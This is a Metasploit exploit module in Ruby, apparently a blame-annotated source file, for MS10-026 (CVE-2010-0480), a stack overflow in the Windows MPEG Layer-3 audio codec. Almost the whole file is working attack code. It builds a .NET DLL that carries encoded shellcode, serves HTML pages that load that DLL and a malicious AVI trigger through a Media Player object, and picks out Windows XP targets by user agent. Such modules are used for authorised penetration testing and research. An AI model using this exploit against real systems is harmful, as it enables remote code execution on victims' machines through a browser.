2011-08-12 19:04:25 +00:00
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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2012-02-21 01:40:50 +00:00
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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2011-08-12 19:04:25 +00:00
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'MS10-026 Microsoft MPEG Layer-3 Audio Stack Based Overflow',
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'Description' => %q{
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This module exploits a buffer overlow in l3codecx.ax while processing a
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AVI files with MPEG Layer-3 audio contents. The overflow only allows to overwrite
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with 0's so the three least significant bytes of EIP saved on stack are
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overwritten and shellcode is mapped using the .NET DLL memory technique pioneered
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by Alexander Sotirov and Mark Dowd.
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Please note on IE 8 targets, your malicious URL must be a trusted site in order
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to load the .Net control.
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},
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'Author' =>
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[
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'Yamata Li', # Vulnerability Discovery
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2011-11-12 07:53:25 +00:00
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'Shahin Ramezany <shahin[at]abysssec.com>', # Vulnerability Analysis and Exploit
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2011-08-12 19:04:25 +00:00
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'juan vazquez', # Metasploit module
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'Jordi Sanchez <jsanchez[at]0x01000000.org>', # Metasploit module - Help
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2010-0480'],
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['OSVDB', '63749'],
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['BID', '39303'],
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['MSB', 'MS10-026'],
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['URL', 'http://www.exploit-db.com/moaub-5-microsoft-mpeg-layer-3-audio-stack-based-overflow/'],
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['URL', 'http://www.phreedom.org/research/bypassing-browser-memory-protections/']
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],
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'Payload' =>
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{
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'Space' => 4000
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Targets' =>
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[
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# Target 0: Automatic
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# Tested with:
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# Windows XP SP3 English IE 6
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# Windows XP SP3 English IE 7
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# Windows XP SP3 English IE 8: The exploiting site must be a trusted
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# site to load the .NET control
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# .NET CLR required
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[
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'Windows XP SP3 Automatic',
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{
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'Platform' => 'win',
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'Ret' => 0x72000000
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},
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Apr 13 2010'))
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end
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def exploit
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# Embed our payload in a .Net binary
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ibase = target.ret - 0x10000
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shellcode = rand_text_alpha(target.ret - ibase - 0x2285)
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shellcode << payload.encoded
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#Use our own custom .Net binary, because we require a much bigger file
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#to land our payload at the right place
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opts = {
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:template => 'template_dotnetmem.dll',
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:text_offset => 0x1285,
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:text_max => 0x20000,
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2011-08-13 02:15:05 +00:00
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:pack => 'a131072',
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:uuid_offset => 135816
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2011-08-12 19:04:25 +00:00
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}
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@dotnet_payload = Msf::Util::EXE.to_dotnetmem(ibase, shellcode, opts)
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# Load our AVI file
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path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-0480.avi")
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f = File.open(path, "rb")
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@trigger = f.read(f.stat.size)
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f.close
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super
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end
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def on_request_uri(cli, request)
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2011-08-13 02:15:05 +00:00
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agent = request['User-Agent']
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2011-08-12 19:04:25 +00:00
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case request['User-Agent']
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when /MSIE.*Windows NT 5\.1.*\.NET CLR .*/
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when /Windows-Media-Player/
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# AVI is requested by WMP
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else
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send_not_found(cli)
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2012-04-20 19:31:42 +00:00
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print_error("target not supported: #{agent}")
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2011-08-12 19:04:25 +00:00
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return
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end
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if (request.uri =~ /\.html/i)
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avi_name = rand_text_alpha(4)
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avi_trigger = ""
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if ("/" == get_resource[-1,1])
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avi_trigger = get_resource[0, get_resource.length - 1]
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else
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avi_trigger = get_resource
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end
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avi_trigger << "/#{avi_name}.avi"
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html = %Q|<html>
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<body>
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<OBJECT ID="MediaPlayer"
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CLASSID="CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95"
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CODEBASE="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#
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Version=5,1,52,701" STANDBY="Loading Microsoft Windows Media Player components..."
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TYPE="application/x-oleobject" width="280" height="46">
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<param name="fileName" value="#{avi_trigger}">
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<param name="animationatStart" value="true">
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<param name="transparentatStart" value="true">
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<param name="autoStart" value="true">
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<param name="showControls" value="true">
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<param name="Volume" value="-300">
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<embed type="application/x-mplayer2"
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pluginspage="http://www.microsoft.com/Windows/MediaPlayer/"
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src="#{avi_trigger}"
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name="MediaPlayer"
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width=280
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height=46
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autostart=1
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showcontrols=1
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volume=-300>
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</embed>
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</OBJECT>
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</body>
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</html>
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html = html.gsub(/^\t\t\t/, '')
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2012-04-20 19:31:42 +00:00
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print_status("Sending trigger loader")
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2011-08-12 19:04:25 +00:00
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send_response_html(cli, html)
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elsif (request.uri =~ /\.avi$/i)
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2012-04-20 19:31:42 +00:00
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print_status "Sending AVI trigger"
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2011-08-12 19:04:25 +00:00
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send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' })
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return
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elsif (request.uri =~ /\.dll$/i)
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2012-04-20 19:31:42 +00:00
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print_status "Sending DLL file"
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2011-08-12 19:04:25 +00:00
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send_response(
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cli,
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@dotnet_payload,
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{
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'Content-Type' => 'application/x-msdownload',
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'Connection' => 'close',
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'Pragma' => 'no-cache'
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}
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)
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return
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end
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html_name = rand_text_alpha(4)
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dll_uri = ""
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html_trigger = ""
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if ("/" == get_resource[-1,1])
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dll_uri = get_resource[0, get_resource.length - 1]
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html_trigger = get_resource[0, get_resource.length - 1]
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else
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dll_uri = get_resource
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html_trigger = get_resource
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end
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dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll"
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js_net_dll = "<object classid=\"#{dll_uri}\"#GenericControl\"><object>"
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html_trigger << "/#{html_name}.html"
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html = %Q|<html>
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<head>
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<script language="javascript">
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function forward() {
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window.location = window.location + '#{html_trigger}';
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}
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function start() {
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setTimeout("forward()", 2000);
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}
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</script>
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</head>
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<body onload="start()">
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<object classid="#{dll_uri}#GenericControl">
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<object>
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</body>
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</html>
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html = html.gsub(/^\t\t/, '')
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2012-04-20 19:31:42 +00:00
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print_status("Sending #{self.name}")
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2011-08-12 19:04:25 +00:00
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send_response_html(cli, html)
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end
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end
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